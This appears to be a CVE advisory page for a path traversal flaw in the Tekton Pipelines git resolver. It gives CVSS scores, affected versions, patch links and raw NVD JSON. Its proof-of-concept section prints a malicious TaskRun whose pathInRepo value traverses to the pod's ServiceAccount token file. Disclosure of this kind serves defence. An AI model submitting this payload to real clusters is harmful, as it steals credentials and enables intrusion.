Security Vulnerability Report
中文
CVE-2026-33211 CVSS 9.6 CRITICAL

CVE-2026-33211

Published: 2026-03-24 00:16:29
Last Modified: 2026-03-26 15:42:12

Description

Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2, the Tekton Pipelines git resolver is vulnerable to path traversal via the `pathInRepo` parameter. A tenant with permission to create `ResolutionRequests` (e.g. by creating `TaskRuns` or `PipelineRuns` that use the git resolver) can read arbitrary files from the resolver pod's filesystem, including ServiceAccount tokens. The file contents are returned base64-encoded in `resolutionrequest.status.data`. Versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2 contain a patch.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:linuxfoundation:tekton_pipelines:1.0.0:*:*:*:*:go:*:* - VULNERABLE
Tekton Pipelines >= 1.0.0, < 1.0.1
Tekton Pipelines >= 1.0.0, < 1.3.3
Tekton Pipelines >= 1.0.0, < 1.6.1
Tekton Pipelines >= 1.0.0, < 1.9.2
Tekton Pipelines >= 1.0.0, < 1.10.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Malicious TaskRun YAML to exploit path traversal via git resolver apiVersion: tekton.dev/v1 kind: TaskRun metadata: name: path-traversal-poc spec: taskRef: resolver: git params: - name: url value: https://github.com/tektoncd/pipeline - name: revision value: main # Exploit: Traverse out of repo to read SA token - name: pathInRepo value: ../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33211", "sourceIdentifier": "[email protected]", "published": "2026-03-24T00:16:29.320", "lastModified": "2026-03-26T15:42:12.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2, the Tekton Pipelines git resolver is vulnerable to path traversal via the `pathInRepo` parameter. A tenant with permission to create `ResolutionRequests` (e.g. by creating `TaskRuns` or `PipelineRuns` that use the git resolver) can read arbitrary files from the resolver pod's filesystem, including ServiceAccount tokens. The file contents are returned base64-encoded in `resolutionrequest.status.data`. Versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, and 1.10.2 contain a patch."}, {"lang": "es", "value": "El proyecto Tekton Pipelines proporciona recursos estilo k8s para declarar pipelines estilo CI/CD. A partir de la versión 1.0.0 y antes de las versiones 1.0.1, 1.3.3, 1.6.1, 1.9.2 y 1.10.2, el resolvedor git de Tekton Pipelines es vulnerable a salto de ruta a través del parámetro 'pathInRepo'. Un inquilino con permiso para crear 'ResolutionRequests' (por ejemplo, creando 'TaskRuns' o 'PipelineRuns' que usan el resolvedor git) puede leer archivos arbitrarios del sistema de archivos del pod del resolvedor, incluyendo tokens de ServiceAccount. El contenido del archivo se devuelve codificado en base64 en 'resolutionrequest.status.data'. Las versiones 1.0.1, 1.3.3, 1.6.1, 1.9.2 y 1.10.2 contienen un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.3.3", "matchCriteriaId": "510D5C7F-FB2A-4059-AF03-A85FD23267F3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "1.6.1", "matchCriteriaId": "B4303F35-5E39-4F4B-9258-FE58CCA3C760"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*", "versionStartIncluding": "1.7.0", "versionEndExcluding": "1.9.2", "matchCriteriaId": "C465CD0F-E9E8-414D-9BED-49BEBD394E95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*", "versionStartIncluding": "1.10.0", "versionEndExcluding": "1.10.2", "matchCriteriaId": "871426E3-9DCC-43CE-8262-D87D4F040AEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:tekton_pipelines:1.0.0:*:*:*:*:go:*:*", "matchCriteriaId": "49E77BA1-6CC4-430D-B0C0-EB295ADBF6FE"}]}]}], "references": [{"url": "https://github.com/tektoncd/pipeline/commit/10fa538f9a2b6d01c75138f1ed7ba3da0e34687c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tektoncd/pipeline/commit/318006c4e3a5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tektoncd/pipeline/commit/3ca7bc6e6dd1d97f80b84f78370d91edaf023cbd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tektoncd/pipeline/commit/961388fcf3374bc7656d28ab58ca84987e0a75ae", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tektoncd/pipeline/commit/b1fee65b88aa969069c14c120045e97c37d9ee5e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tektoncd/pipeline/commit/cdb4e1e97a4f3170f9bc2cbfff83a6c8107bc3db", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tektoncd/pipeline/commit/ec7755031a183b345cf9e64bea0e0505c1b9cb78", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https: ... (truncated)